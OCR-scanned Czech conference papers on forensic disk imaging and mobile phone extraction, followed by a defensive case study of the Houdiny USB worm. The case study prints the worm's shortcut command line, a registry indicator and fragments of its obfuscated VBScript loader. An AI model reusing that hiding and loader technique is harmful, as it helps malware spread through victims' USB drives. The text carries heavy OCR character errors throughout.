skutecnost mél byt bran zfetel a poruseni tohoto principu by mélo byt zcela
vyjimecéné a odivodnéné. Zakladnim problémem miZe byt, Ze, jakmile zafizeni
pripojime k opera¢nimu systému Microsoft Windows, tento kvili uzivatelskému
komfortu zafizeni pripoji a timto provede ihned zapis. Toto fakticky nema z tech-
nického hlediska zna¢ny vyznam, avSak mé fatalni vyznam pro trestni fizeni,
kdy miize byt konstatovano, ze s digitalni stopou bylo manipulovano a muze
byt dokonce odmitnuta jako dukaz. Proto by samotné zkoumani mélo probihat
na vytvorenych bitovych kopiich. Pro jejich vytvoreni je ovSem potfeba pamé-
tové médium pripojit k technologické vypocetni technice. Z tohoto divodu je
nutné zabezpedit pamétova média proti zdpisu i pro toto vytvoreni bitové kopie.
Toto neni problém zabezpecit u flash diski a paméfovych karet, kdy existuje
budto hardwarovy blokéator zapisu, ¢i softwarové blokovani zapisu na USB za-
Fizeni. Stejné tak problém nenastava v pripadé stolnich pocitact, kdy z téchto
je mozno disky vyjmout a pripojit k technologické vypocetni technice jednim
z vySe uvedenych zptisobt, kdy je nutno doporucit zejména hardwarovy bloka-
tor zapisu, ktery je na tuto ¢innost vyvinut a certifikovan, a proto mame jistotu,
ze opravdu blokovani zapisu zajisti. Co se tyc¢e softwarového blokovani, je nutno
toto vzdy vyzkouset na technologickém pamétovém médiu, abychom méli jistotu,
Ze je zapis opravdu zablokovan. Nicméneé zcela tyto technické problémy jsou od-
stranény vyuzitim operacniho systému Linux, kdy tento z podstaty své funkce
standardné nepfipojuje paméfova media (vyjma nékterych sestaveni) a vse je
plné pod kontrolou uzivatele, jak bude dale popsano.
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Problém ovSem nastava u nékterych typt notebooku a netbooki, u kterych
nelze vyjmout pevny disk ¢i jiné pamé&tové médium, napt. MacBook, apod. Po-
kud nejsme schopni nedestruktivné vyjmout pamétové médium, musime volit
zpusob vytvoreni bitové kopie pomoci, nejlépe forenzni, live-distribuce operac-
niho systému Linux, napt. Deft, ktery zabezpeci, Ze na médium nebude zapsano,
pokud k tomuto nepfijde vyslovny povel od uzivatele, tedy znalce. Samotné pro-
cesy operacniho systému probihaji pouze v opera¢ni paméti RAM predmétné
techniky, nedojde tedy k zddnému zdpisu na pamétové médium. Zde miZeme
vyuzit budto ptikazového fadku a prikazu ,dd“, ¢i jeho forenznich mutaci. P¥i-
kaz ,dd“ je obsaZen ve vSech distribucich Linuxu, kdeZto nap¥. forenzni mutace
,dcfldd“, popf. ,dc3dd“ apod. pouze u nékterych forenznich distribuci, nebo
muzeme vyuzit sluzeb softwarového prostredku GuyMager.

Stejny postup je nutno volit v pfipadé, Ze se na pamétovém médiu nachdzi
velké mnozstvi chybnych sektorti, kdy operaéni systém Microsoft Windows neni
schopen tyto sektory preskakovat. V tomto pfipadé€ neni Gplné idealni ani vyu-
ziti softwarového prostfedku GuyMager, kdy tento sice preskakuje chybné sek-
tory, ovSem pokud je jich opravdu hodné, pak také kolabuje. Z tohoto divodu
Ize doporucit prikaz ,dcfldd“ s parametry pro preskakovani chybnych sektora
s tim, ze takovy bude nahrazen nulami, tedy kédem ,,0x00“ a objem dat nebude
kracen. Tento prikaz v zékladnim tvaru zni: ,,dd if=zdrojové zafizeni of =ci-
lové zafizeni conv=sync,notrunc, noerror“. V pripadé vyuziti forenzniho prikazu
,dcfldd® je tento zakladni prikaz totozny pouze misto prikazu ,,dd“ uvedeme
,dcfldd“. Vyhodu pouziti prikazu ,,dcfldd“ je skutecnost, Ze zdznam je vizualné
reprezentovan oproti ,dd“. Taktéz tato forenzni mutace obsahuje v rozsifeném
pojeti dalsi funkce jako déleni bitové kopie na uzivatelsky definované ¢asti bi-
tové kopie, vypocet kontrolnich sum apod., kdy napt. vypocet kontrolnich sum
v pripadé pouziti prikazu ,dd“ musi provést nasledné samostatné, toto vsak
prodluzuje Cas zajisténi dat. V tento okamzik je nutno vypocet kontrolnich sum
zdtraznit, kdy nejen z technického hlediska jsme schopni konstatovat, ze nedoslo
k jakékoli destrukeci, ale zejména je toto dilezité z procesniho diikazniho hlediska,
kdy timto protokolem je stvrdime, a je nepochybné, Ze se stopou nebylo nikym
manipulovano. Kdykoli je moZno ovérit, zda data jsou autentickd, zda se jedna
o totozné informace, které byly provedeny v souvislosti s itkony v trestnim fizeni.

Pokud méme vytvofenou bitovou kopii pamé&fového média, miZeme piejit
k samotnému vytézovani. K tomuto mtizeme vyuzit nékteré nekomercéni softwa-
rové prostfedky, ovsem jejich funkénost a vykonnost je zna¢né omezena, nehledé
na to, ze nejsou certifikované a tak by se mohlo stat, ze u soudu budeme muset
prokazovat, Ze opravdu funguji bezchybné a komplexné. Z tohoto duvodu lze vice
nez doporucit investovat do softwarového vybaveni, kdy napt. forenzni nastroj
FTK Forensic Toolkit je finan¢né velmi naro¢ny, ovsem mame jistotu jeho funkc-
nosti, kdy tento je certifikovan, navic usetii veliké mnozstvi ¢asu, kdy tento na-
stroj si nacte obraz pamétového média a m4 veliké mnozstvi funkci, které dokaze
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sam provést. Zalezi pouze na kontextu daného pripadu, které funkce vyuzijeme.
Namaétkou lze zminit indexaci textové orientovanych soubori, detekci sexualné
explicitnich obrazku, vyfezavani ¢astecné prepsanych soubort, hromadnou ana-
lyzu grafickych soubort z pohledu textového prohledavani, analjyzu vnorenych
dat apod. V ramci svych vykonové narocnych analyz napf. také umoznuje vyu-
Ziti vykonu az 4 stanic. Proto pokud nastavime, co pfesné potiebujeme, mizeme
se dale vénovat néCemu jinému, protoze tento forenzni nastroj tuto praci udéla
za nas piimo pfi nacéitani bitové kopie. Je nutné si uvédomit, ze kazda analyza
zabere néjaky casovy tsek a proto, ¢im vice analyz budeme délat, tim vice ¢asu
toto bude trvat. Veskeré tyto volitelné analyzy mizeme spustit i dodatecné,
ovSem znamena to projit bitovou kopii znovu, proto je nutné volit odpovida-
jici kroky, kdy napftiklad indexaci mizeme spustit az dodatecné a to pouze pro
textové orientované soubory, které nam forenzni nastroj vyselektuje, jinak by
indexace probihala pro vSechny soubory. Jako levnéjsi alternativu lze téz vo-
lit forenzni produkt ,,EnCase* a dalsi produkty. Tyto produkty jsou sice méné
finanéné narocné, avsak, dle nazoru autort, je i funkénost omezenéjsi.

Pokud mame tyto analyzy hotové, mizeme se pustit do samotné dokumen-
tace. Tato probiha na trovni zalozek, kdy zdjmové soubory vlozime do zalozek,
které si vytvorime. Pokud mame takto ,zazalozkované“ veskeré zajmové sou-
bory, spustime tvorbu reportu. Tento report lze vytvotit v nékolika forméatech,
napi. html, pdf, xml atd. Report obsahuje veskeré informace, které potiebujeme
pro dukazni Fizeni, véetné napt. kontrolnich sum pro jednozna¢nou identifikaci
souboru. Z tohoto divodu je mozno reporty vyuzit pro trestni fizeni.

Je vSak nutno zde také uvést, ze ani shora uvedené prostfedky neni mozno
vyuzit pro celou skalu forenznich ¢innosti a jsou vyuzivany i dalsi komplexni
analyzy, které z divodu rozsahu nemohly byt ani pfipomenuty.

Zavér

Zavérem nutno Fici, ze kriminalita pachana za pomoci vypocetni techniky se bude
neustale rozsifovat, a proto by na toto méli reagovat i organy ¢inné v trestnim fi-
zeni a hlavné zakonodarci, kdy soucasna situace neni udrzitelna. Hlavni problémy
se autofi snazili v ¢lanku z ¢asti shrnout. Dle jejich nazoru by mélo dojit hlavné
ke zméné Trestniho Fadu, kdy tento by mél zacit reflektovat na technologicky
pokrok a mél by se zaobirat digitdlnimi stopami, jejich zajistovanim, vytézova-
nim a dokumentaci. Nasledné by mélo dojit k vyfeSeni legislativnich problémt
s cloudovymi ulozistémi, kdy v pfipadé, ze v dobé prohlidky je toto tlozisté pri-
pojeno, mélo by byt pfipusténo jeho vytézeni. V opacném pripadé bude ¢im dal
Castéji dochazet k tomu, Ze organy ¢inné v trestnim fizeni nebudou schopny du-
kazy ziskat jakymkoli zptisobem, kdy tato data se budou nachazet na serverech

mimo Ceskou republiku, a nez se stihne splnit veskeré legislativni kroky pro me-
zinarodni pravni pomoc, dojde ke znehodnoceni tohoto diikazniho materialu.
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FORENZNI ZKOUMANI MOBILNICH TELEFONU

Jakub Kothanek, Jaroslav Kothanek

E-MaAIL: KOTHANEK@IT—ZNALEC.CZ, JAKUB.KOTHANEKQIT-ZNALEC.CZ

Uvod

Vzhledem k faktu, ze je dnes standardem vlastnit a pouzivat mobilni telefony,
musime se nutné zabyvat i tim, jak z tohoto prostfedku vytézit diikazni material.

Naléhavost problému nabrala na intenzité s pfichodem tzv. chytrych telefoni
disponujicich opera¢nimi systémy. Nejenze maji mnohem vétsi kapacitu paméti,
ale je mnohem jednodusi vyvijet a tedy i pouZivat rizné aplikace. S timto se poji
fakt, ze, pokud diive stacilo vytézit vypisy volani, kontakty a SMS zpravy, dnes
tato data znamenaji pouze velmi maly zlomek ptripadného diikkazniho materialu.
Mnoho lidi totiz ke komunikaci vyuziva ruzné vyse zminéné aplikace, jako jsou
Viber, WhatsApp, apod.

7 vyse uvedeného duvodu tedy jiz nestaci vyuzit pro analyzu mobilnich te-
lefonit zadné freewarové utility, které distribuuje vyrobce telefonu. Tyto totiz
postacuji pouze pro zakladni analyzu kontaktt a SMS zprav. Pro pokrocilejsi
analyzy je nutno vyuzit forenznich nastroju, které jsou velmi mocnymi néstroji
a dokazi vytézit nepreberné mnozstvi dat, v nékterych pripadech dokonce i sma-
zanych.

Pravé o principech forenzniho zkoumani telefont, jejich omezenich a moznos-
tech, by mél tento ¢lanek informovat.

Zajisténi mobilniho telefonu

Samotnému vytézovani musi nutné predchazet zajisténi telefonu. Ten by mél byt
zajistén, pokud mozno, s veskerym piislusenstvim, jako je SIM karta, pamétova
karta, datovy kabel. V pripadé, ze by nékteré prislusenstvi chybélo, je mozné, ze
ziskand data nebudou kompletni a policejnimu organu uniknou duilezité dtkazni
informace. Co se ty¢e datového kabelu, dnes se jeho vyznam ztraci a to diky
standardizované pfipojce microUSB, kterd je vyuzita u drtivé vétsiny novéjsich
pristroji. U starsich typu telefont ale mize byt jeho zajisténi stézejni, kdy bez
ného neni mozné provést forenzni zkoumani.
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Daéle je s nastupem chytrych mobilnich telefonti nutné mit na paméti, ze tyto
1ze vzdalené smazat pomoci piikazu poslaného pres sit internet. Je tedy dilezité,
aby policejni organ budto telefon vypl, ¢ alespoii vyjmul SIM kartu anebo uvedl
telefon do rezimu Letadlo.

V souvislosti s témito kroky by autofi radi pfipomnéli, ze dalsi stéZejni infor-
maci je, zda mobilni telefon obsahuje néjaké zabezpeceni, popt. jaké. V pripadé,
ze by telefon obsahoval zabezpeceni napf. pomoci tzv. gesta, ne vidy je mozné
toto zabezpeceni obejit. V tom pfipadé dochéazi k tomu, Ze neni mozné telefon
vytézit, kdy k tomuto je nutno telefon nastavit tak, jak si uvedeme déle. V tomto
pfipadé by do uvahy prichéazelo jediné zkoumani pomoci specidlniho pfipojeni,
tzv. JTAG.

Zkoumani pomoci JTAG ovSem spadé do kategorie destruktivniho zkoumani,
kdy je nutno ve vétsSiné pripadt zafizeni rozebrat, napajet na zakladni desku
pfipojku, tzv. JTAG PIN, ke kterému lze dale pfipojit tzv. JTAG JIG. Pomoci
tohoto pfipojeni poté lze vytézit obraz pamé&fovych blokt zafizeni, ovSem neni
zde dana stoprocentni garance, navic se muze stat, Ze se zafizeni poskodi a toto
bude mit za nasledek nendvratnou ztratu veskerého dikazniho materialu. Proto
by k tomuto kroku mélo dochézet pouze v odiivodnénych pripadech, a to i s ohle-
dem na moznou $kodu na zarizeni, slozitosti ikonu, kdy tento je i velice ¢asové,
a tedy i finanéné narocny.

VytéZeni mobilniho telefonu

Co se tyce samotného vytézeni mobilniho telefonu, lze vice nez doporucit jeden
z profesionélnich forenznich néastroji pro vytézeni telefont. Jako nejlepsi varianta
se autortm jevi forenzni nastroj UFED od izraelské spole¢nosti Cellebrite. Tento
nastroj podporuje velké mnozstvi typt mobilnich zafizeni a také velké mnozstvi
aplikaci. Dalsi moznosti je Oxygen Forensic Suite, i MSAB XRY. Ceskym ekvi-
valentem se muze jevit MobilEdit! Forensic od spole¢nosti Compelson, ovsem
tento zdaleka nedosahuje vysledkd diive uvedeného nastroje UFED.

Pro samotné vytézeni by méla platit stejnd pravidla jako pro vsechny jiné
kriminalistické stopy. Tedy by nemélo dochézet ke zménam na stopé a vytézeni
by mélo byt opakovatelné. Problém u mobilnich telefoni nastava v tom, ze ne
vzdy je mozno zajistit jejich neménnost.

Pro neménnost dat je nutno zajistit, aby zafizeni nebylo zapnuto. Tyto po-
zadavky ovSem spliluje pouze fyzickd analyza, ktera navic zajistuje bitovou kopii
pamétového Cipu, tedy zajistuje veskera data, kterd zajistit lze, véetné smaza-
nych. Problém ovSem nastava, pokud u daného typu zafizeni neni fyzickd ex-
trakce podporovana. V tomto piipadé ndm nezbyva nez vyuzit dalsi extrakce,
kdy jiz ovSem je nutné zafizeni zapnout a nastavit pro potreby forenzni ana-

lyzy.
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Co se tyce dnes nejrozsirenéjsi platformy, operac¢niho systému Android, musi
byt zafizeni nastaveno do rezimu ladéni, jinak nedojde k interakci mezi zafizenim
a forenznim néstrojem. Z tohoto dtivodu je také patrné, Ze, pokud zafizeni obsa-
huje zabezpeceni pomoci gesta ¢i hesla, pak toto musime obejit. Tento krok opét
nelze aplikovat na vSechny typy mobilnich zafizeni, jak jiz bylo zminéno vyse.
Déle je nutno poznamenat, Ze nékteré typy mobilnich telefond a tabletii s ope-
ra¢nim systémem Android lze vytézit pomoci fyzické analyzy, ale tyto je nutno
zapnout a nastavit stejné jako v pripadé jiné analyzy, viz vyse. V tomto pfipadé
nam fyzickd analyza ponechdva vyhodu pouze v tom, Ze lze vytéZit i smazana,
nepfepsand, data.

Pokud mame operacni systém Android takto nastaveny, vétS§inou mame na
vybér ze dvou moznosti, analyzy systému soubori a logické analyzy. Zde nutno
poznamenat, Ze analyzou systému soubort vytézime i aplika¢ni data a nékteré
smazané informace, kdezto logickd analyza obsahuje pouze kontakty, vypisy ho-
vord, SMS a MMS zpravy a multimedidlni soubory a nékteré dalsi informace.
Zalezi tedy na tom, ktera data potfebujeme pro dany pripad. Nutno pozname-
nat, ze popis téchto analyz plati pro vSechny mobilni platformy.

Co se tyce mobilni platformy iOS, zde bylo mozno vyuzit fyzické extrakce
pouze u starsich zafizeni do verze iPhone 4, u novéjsich modeltl lze vyuzit jiz
jen analyzu systému soubort ¢i logickou analyzu. Z toho také vyplyva nutnost
zapnuti zafizeni a tedy i zndmost bezpeénostniho prvku (gesta, hesla) k odemceni
zafizeni. Bez tohoto odemceni neni mozné interakce mezi zafizenim a forenznim
nastrojem. Dalsim problémem, ktery se zacina vyskytovat, je moznost zapnuti
Sifrovani zaloh iTunes, kdy uzivatel si toto miize zapnout na svém pocitaci a poté
toto Sifrovani plati pro veskeré zalohy na vSech zafizenich, tedy i pro tuto forenzni
analyzu. Tato Sifrovana analyza poté znamend, Ze data nelze analyzovat, pokud
nezname KkIic.

Velice zajimavéa situace nastava v pripadé platformy Windows Mobile. Zde
nelze v drtivé vétsiné pripadu vyuzit fyzickou analyzu, a pokud ano, pak mu-
sime mit baterii nabitou na pfesné rozmezi (kolem 12-17 %), aby bylo mozZno
tuto analyzu spustit. V pfipadé analyzy systému soubort dojde vétsinou k vyté-
zeni pouze multimedialnich soubort a aplika¢nich dat. V ptipadeé logické analyzy
pouze multimedidlnich soubort. Zde je nutno pfistoupit ke kombinované analyze
pomoci kabelu a technologie BlueTooth, kdy jediné pomoci BlueTooth lze vyté-
zit kontakty a vypisy hovort, a to z diivodu, Ze toto je vyuzivano pro HandsFree
v automobilech. SMS zpravy ovSem ani tak nevytézime. Tyto musime vytézit
rucné, a to z divodu, ze ani sdm uzivatel neni schopen si SMS zpravy zazalo-
hovat jinak, nez do cloudového wlozisté OneDrive. Toto Glozisté ovSsem vytézit
nemuzeme, protoze by se jednalo o trestny ¢in Neopravnéného pristupu k poci-
ta¢ovému systému a nosici informaci dle §230 zdkona ¢. 40/2009 Sb., Trestniho
zakoniku, ve znéni pozdéjsich predpisti. Neni tedy jind moznost nez ruc¢ni vyté-
zeni, pokud nelze vyuzit fyzickou analyzu.
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Co se tyce platforem s tzv. nativnim operacnim systémem, vzdy zalezi na
presném typu mobilniho telefonu, kterou analyzu lze vyuzit. Vzdy je ale nutno
respektovat kriminalistické postupy a principy a vyuzit tedy, pokud mozno, fy-
zickou analyzu, kterd, vétSinou, spociva v tom, Ze zafizeni neni nutno zapinat.
Lze tedy obejit bezpecnostni prvky a navic je zabezpecen zasah do dat mobilniho
telefonu.

Zavér

Vzhledem k faktu, ze mobilni zafizeni pouziva dnes drtiva vétSina osob, nezbyva
nez forenzni analyze téchto zafizeni vénovat nalezitou pozornost. Ve vétsiné pri-
padi se z tohoto zafizeni mizeme dozvédét o osobé uzivatele vice nez bychom
se dozveédéli napiiklad od rodinného prislusnika. Uzivatelé si totiz zvykli na to
mit toto zafizeni neustale pfi sobé, vyuzivat jejich potencidlu nejen ke komuni-
kaci, ale i k planovani ¢asu, schlizek, k vypliiovani volného casu, surfovani po
internetu, apod.

Ze vsech vyse uvedenych divoda je nutno konstatovat, Ze z mobilnich zafizeni
se stavaji klicové stopy pri hledani pachatele trestného ¢inu. Proto by analyza
takového zafizeni méla byt vytvarena peclivé, bez chyb, aby bylo mozno data
vyuzit pro ucely trestniho fizeni a tato data nebylo mozno zadnym zpiisobem
znevérohodnit. Mély by tedy byt dodrzovany forenzni postupy a principy. Sa-
moziejmosti by mélo byt vyuziti certifikovanych forenznich nastroji, aby nebylo
mozno zpusoby vytézeni zpochybnit.

Autofi se zcela zamérné nevénovali pfimo vlastnimu zkouméni a to zejména
z duvodu pripadného znacného rozsahu, kdy kazdé zkoumani, kazda kategorie
informaci, by naplnilo nékolik takovychto ¢lanka. Alespon byly poznamenény
vyznamné, vSeobecné ne moc znamé, skutecnosti pfi feseni forenzniho zkoumani
pro ucelu trestniho fizeni.
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MALWARE HOUDINY — SPOLUPRACE CSIRT
A FORENZNI LABORATORE (PRIPADOVA STUDIE)

Ales Padrta

E-MAIL: APADRTAQCESNET.CZ

Klic¢ova slova: forenzni analyza, analyza malware, CSIRT, Houdiny

Abstrakt

Pro rychlé a efektivni veseni bezpeénostnich incidenti potrebuji bezpeénostni tymy in-
formace, hodné informaci. V pripadé reakce na vyskyt malware jsou to typicky odpovédi
na otdazky: ,Kde se vzal?“, ,Jak se siri?“, ,Jaké md schopnosti?“, ,Jak poznat uZ napa-
den€ stanice?“ a ,Jak se jej zbavit?“ V tomto prispévku je ukdzdna spoluprdce bezpec-
nostntho tymu Zdpadodleské univerzity v Plzni (WIRT) a forenzni laboratore CESNET
(FLAB) pfi reakci na vyskyt malware Houdiny na pracovnich stanicich uZivateli. Jsou
zde popsdny jednotlivé kroky bezpecnostniho tymu, zpiusob komunikace, preddvdni in-
formact a spoluprdce s forenzni laboratori, postupy pouZité pri analyze malware a na
zaver pak také vyuZiti ziskanych informact pri reseni bezpecnostniho incidentu.

1 Uvod

Malwarem napadend zafizeni se obcas vyskytnou v kazdé siti, v akademickych
(univerzitnich) sitich to je pomérné ¢asty jev zptisobeny velkym mnoZstvim stu-
dentl a jejich laxnimu pristupu k bezpec¢nosti. V drtivé vétsiné vsak jde o sa-
mostatnd napadeni, kterd lze fesit prubézné a bez velkého stresu. Obcas se ale
miize objevit malware, ktery zasdhne desitky nebo dokonce stovky zafizeni a neni
snadné jej ze spravované sité odstranit. V takovychto pfipadech bezpecénostni
tym potiebuje ziskat detailni informace o povaze malwaru — at uZ jde o zptisob
detekce nékazy (indikdtory kompromitace — IoC, Indicators of Compromise),
schopnosti malware (napt. sifeni, moznosti plnéni ptikazti z Command and Con-
trol serveru) nebo postup pro odstranéni ndkazy véetné pokryti souvisejicich
rizik (unikld hesla apod.).
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Bezpecnostni tymy jsou vsak v pripadech feSeni rozsahlych incidentti obvykle
dost vytizené a nemaji volnou kapacitu pro provedeni analyzy malware a ziskani
potiebnych informaci. Také je vyZzadovano urcité vybaveni, znalosti a v nepo-
sledni fadé i praxe, coz si zejména mensi bezpecnostni tymy nemohou dovolit.
V pripadé, Ze jsou informace o malware nutné potfeba, je efektivni obratit se
na specializované pracovisté, které provede analyzu a preda vysledky zkoumani.
Cela transakce je z hlediska bezpec¢nostniho tymu jednoducha:

1. kontaktuje specializované pracovisté (probéhne ivodni konzultace problé-
mu),

2. formuluje své otazky (definuje jaké informace chce zjistit),

3. pfeda podklady k analyze (obvykle vzorek malware nebo obrazy pevného
disku a paméti napadenych zafizeni),
4. pocka nez pracovisté provede analyzu a

5. dostane zévére¢nou zpravu se vSemi informacemi.

V nize popsaném pripadé figuruje na pozici bezpec¢nostniho tymu WEBnet
Incident Response Team (WIRT) [1] ze Zapadoceské univerzity v Plzni. Na pozici
specializovaného pracovisté pak FLAB [2] — forezni laboratof sdruzeni CESNET.

V kapitole 2 je popsana vychozi situace a tvodni kroky podniknuté WIRT,
kapitola 3 je vénovana analyze malware, kterd byla provadéna ve forenzni labora-
tofi FLAB a kapitola 4 ukazuje jak bezpec¢nostni tym vyuziva predané informace
pri feSeni incidentu. V kapitole 5 jsou pak shrnuty zaveéry.

2 Malware prichazi na scénu

Prvni znama zminka o setkani s malwarem Houdiny na Zapadoceské univer-
zité v Plzni (ZCU) pochézi od uZivatele, kterému se nedafilo prenést soubory
mezi dvéma pocitac¢i na USB disku. Zkusengjsi kolega ze stejného pracovisté
identifikoval problém jako ,pfitomnost viru, ktery méni soubory na zastupce*
a nahlasil jej IT podpoie ZCU. Néasledné je piipad eskalovan k bezpecnostnimu
tymu WIRT, ktery si nechava poslat zminény USB disk pro provedni analyzy.

2.1 Reakce WIRT

Bezpecnostni tym (WIRT) zjistuje, Ze pivodni soubory na USB disku stéle exis-
tuji, ale maji nastaveny atributy skryty a systémovy. Pro kazdy skryty soubor
také pfibyl zdstupce (shortcut) se stejnym jménem, ktery vSak kromé piislus-
ného souboru také spousti soubor Microsoft Excel. WsF. Tento soubor byl na
USB disku také nalezen, dokonce ve vice kopiich. Malware tedy spoléha na vy-
chozi nastaveni systému MS Windows, kdy jednak uzivateli nejsou zobrazovany
skryté soubory a jednak jsou skryvany pfipony soubort znamych typt. Bézny
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uzivatel tedy vidi ,,svij“ soubor, ktery je vsak ve skuteCnosti zastupce. Autor
malware timto zpuisobem zajistil spusténi souboru Microsoft Excel. WsF pri kaz-
dém otevieni souboru z USB disku. K detekci dochazi az ve chvili, kdy uzivatel
chce své soubory z USB zafizeni zkopirovat, protoZe oznaéi a zkopiruje pouze
jemu viditelné soubory — tedy zastupce.
Dalsi postup bezpecnostniho tymu je nasledujici:
e Hledani informaci o nalezeném malware na Internetu — identifikovan jako
Dinihou nebo téz Houdiny Worm.VBScript [3].
e Definovani postupu pro odvirovani USB zafizeni — zruSeni atributt skryty
a systémovy, smazani vSech zastupct a smazani souboru Microsoft Ex-
cel. WsF. Tento postup sice nemusi vratit USB zafizeni do ptvodniho
stavu, ale malware spolehlivé odstrani.

e Hledani IoC pro napadend zafizeni — v registrech je pfitomen zaznam

wscript.exe //B \"C:\Users\... \\
\Microsoft Office\Microsoft Excel.WsF\"}

e Definice postupu pro odvirovani stanice — o ¢innosti malware nejsou znamy

zadné informace, je tedy vyzadovana reinstalace stanice.

Preventivni opatfeni pro zamezeni dalsiho napadeni se vSak ukazuji byt pro-
blematické. Pouzivany antivirovy systém nevyhodnocuje skript jako skodlivy,
proto je docasné ru¢né pridano pravidlo blokujici vytvareni novych WsF sou-
bort. Zakaz spousténi by nebyl rozumny, protoze by omezil regulérni pouzivani
jiz. pfitomnych skriptti. Bohuzel je vétSina zarizeni mimo centralni spravu IT
oddéleni a jejich zabezpeceni tak nelze centralné technicky ovlivnit. Také je po-
mérné rozsifeno prenaseni dat mezi stanicemi pomoci USB diskd, zejména mezi
studenty. Neni tedy divu, Ze se neustale vyskytuji nové a nové pripady. Pro dalsi
postup je potieba ziskat vice informaci o malware, nejlépe jeho reverzni ana-
lyzou. Na tuto aktivitu vsak WIRT nemd vlastni kapacitu, proto se obraci na
forenzni laboratof FLAB s zadosti o provedni analyzy.

2.2 Kontakt s forenzni laboratori

Prvni kontakt probihé telefonicky, béhem néhoz pracovnik forenzni laboratore
zjistuje pozadi ptipadu, spolu s WIRT formuluji otdzky a domlouvaji, jaké pod-
klady k analyze budou predany. Na zdkladé téchto informaci FLAB pfipravuje
zadani, vynatek klicové casti je uveden na obrazku 1.

Vzhledem k charakteru pfipadu neni nutné analyzovat cely USB disk, proto
jsou elektronicky zaslany pouze dva soubory — Microsoft Excel. WsF (malware)
a IMG_2402.Ink (jeden vybrany zastupce).

S pfedanymi podklady a definovanym zadanim se tedy forenzni laboratof
pousti do reverzni analyzy malware.
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Pozadi ptripadu Na ucebnovych pocitacich se sifi malware pies | 6
flashky, nedafi se vymytit.
Doplitujici informace Malware na flashdisku pro kazdy soubor vy- | 7

tvori zastupce a puvodni soubor schova, takze
uzivatel spousti (dvouklikem) zastupce, ktery
kromé vlastniho souboru spusti jesté VB-
Script, ktery zajistuje $ifeni malware a asi
i dalsi aktivitu.

Otazky k zodpovézeni 1. Jakou funkcionalitou malware disponuje? 8
2. Lze pfitomnost malware poznat podle sito-
vého chovani?

3. Jak nastavit pravidla pro antivirovy systém,
aby blokoval tento malware?

Forma pfedani vystupu | Vysledkem analyzy bude zavéreéna zprava | 9
v elektronické formé.
Datum pro predani vy- | Co nejdfive, vitany jsou i dil¢i informace. Za- | 10
stupu vérefna zprava do XxX.XX.XXXX.

Obr. 1: Vynatek ze zadani ptfipadu

3 Analyza malware

Cilem provadéné analyzy je zjistit pozadované informace — odpovédi na specifi-
kované otazky — a predat je v rozumné formé zdkaznikovi (WIRT).

3.1 Analyza zastupce

Analyzou zastupce lze zjistit, jak je malware aktivovan (napf. parametry piika-
zové Fadky) a jaké dalsi aktivity jsou provadény pfi otevieni (spusténi) tohoto
zastupce.

Z obsahu polozky ,.cil“ (viz obrazek 2) je zfejmé, Ze je spousténa piikazova
fadka (cmd.exe) s parametrem /c, tj. jsou postupné spoustény jednotlivé pii-
kazy oddélené znakem €&. Piikaz cls je mozné vynechat, protoze pouze vy¢isti
obsah okna pfikazové fadky a vzhledem k poctu pouziti mé slouzit pouze pro
zneditelnéni (obfuskaci) obsahu. Zbyvajici piikazy maji nasledujici vyznam:

e start IMG_2402.JPG — otevieni puvodniho souboru pfislu§nou asociova-
nou aplikaci.

e start Microsoft" "Excel.WsF — otevieni (resp. spusténi) malware.

e exit — zavieni okna prikazové radky.
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C:\WINDOWS\system32\cmd.exe /c
cls&cls&cls&cls&cls&cls&cls&cls&cls&cls&cls&start
IMG_2402.JPG&cls&cls&cls&cls&cls&cls&cls&cls&clsg
cls&cls&start Microsoft" "Excel.WsF&cls&cls&cls&
cls&cls&cls&cls&cls&cls&cls&cls&exit

Obr. 2: Polozka ,cil“ analyzovaného zastupce

Zastupce tedy slouzi k otevieni ptivodniho souboru (uzivateli je otevien jim
pozadovany soubor, takZe nepojme podezieni) a ndsledné ke spusténi malware.
Parametry prikazové fadky nejsou pouzivany.

3.2 Analyza souboru WsF

Vlastni malware je ulozen v souboru WsF, coz je zkratka pro Windows Script
File [4]. Obsahem muze byt kéd v libovolném skriptovacim jazyku, ktery je
v konkrétnim zarizeni nainstalovan. Ve vychozim nastaveni je vzdy rozpoznan
VBScript a JScript.

Na obrazku 3 je zobrazen nahled na klicové ¢asti obsahu analyzovaného sou-
boru. Z hlavicky <script language="VBScript"> vyplyva, Ze se jednd o kdéd

<package>

<job id="manage-bde">

<script language="VBScript">

Dim nTWAAKagMncGOLEYPcXDTqcWJAj:nTWAAKagMncGOLEYPcXDTqcWJAj="kyz
NMWZrwnYxTfZmaVEff" :If nTWAAKagMncGOLEYPcXDTqcWJAj="kyzNMWZrwnYxT
fZmaVff"Then:End If:Dim LzcAEAXYFzttkGGoBj:LzcAEAXYFzttkGGoBj="v
uWeIryKEArjjHfVnrNb":If

If:LB="}}FI33 323" +2"\H3}A" 3" =33 -17 "33 -1-"+2 1 7 | -3}/
=Sz _[{/HL-/{21-/721 1 - N3 /{7 - 20

fUNCTioN FRANCE(VIANA):Dim ZxyjgajpHRCEFtq
GRECE=FRANCE (20+20+9) TO (LONDON (BOSNA) /FRANCE (10%5))
ExeCuTeGloBal (ITALI(FRANCE(50-30+17),LB))

</script>

</job>

</package>

Obr. 3: Néhled na obsah souboru Microsoft Excel. WsF
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psany ve Visual Basic, ¢emuz odpovida také pouzita syntaxe. Nicméné je zfejmé,
Ze jsou pouzity obfuskacni techniky pro zkomplikovani reverzni analyzy. Zda
se, ze viditelny kdd slouzi pouze k vygenerovani a spusténi dalsitho (skrytého)
kédu, coz je indikovano pouzitim funkce EzecuteGlobal(), ktera spusti sviyj jediny
parametr jako novy kdd.

Dalsim krokem musi tedy byt deobfuskace kédu. Postupné rozebirani jed-
notlivych funkci je vZdy narocné, proto se spise vyuziva skutecnost, ze deobfus-
kovany kéd se pfi béhu programu v urcité chvili vyskytuje v ptivodni oteviené
podobé — u kompilovaného kédu je potieba vyuzit debugger, ale u skriptu, jako
je tento, staci nahradit funkci GlobalEzecute() funkci WSeript. Echo(), kterd kéd
misto spusténi vypise. Vysledek je uveden na obrazku 4.

COLOMBIA=VINSULA (USA("=0VeqCcWe\m/x{}GEO0XXeXy+FqeXZXmW*mSG#IW
H{LbG{LeGwmS0zzX0Ji/Vo}/SWFmWX0EG#QcZsCcWe\m/x{/NN\cVNzXVMqWG
xFc/zK/X/QDotX{fRXELNOELicW0zzX0J1i/VPL{WyqWGR}RLu}/SWFmWXOEG/
FyW-MXNxFc/zK/X/qWGRm1LuLDYR-SvzMXS ! XEXo/Tvxi}/

+cHr (CByte ("&H"&Mid (PANAMA, 3,2)) ) +cHr (CByte ("&H"&Mid (PANAMA,5
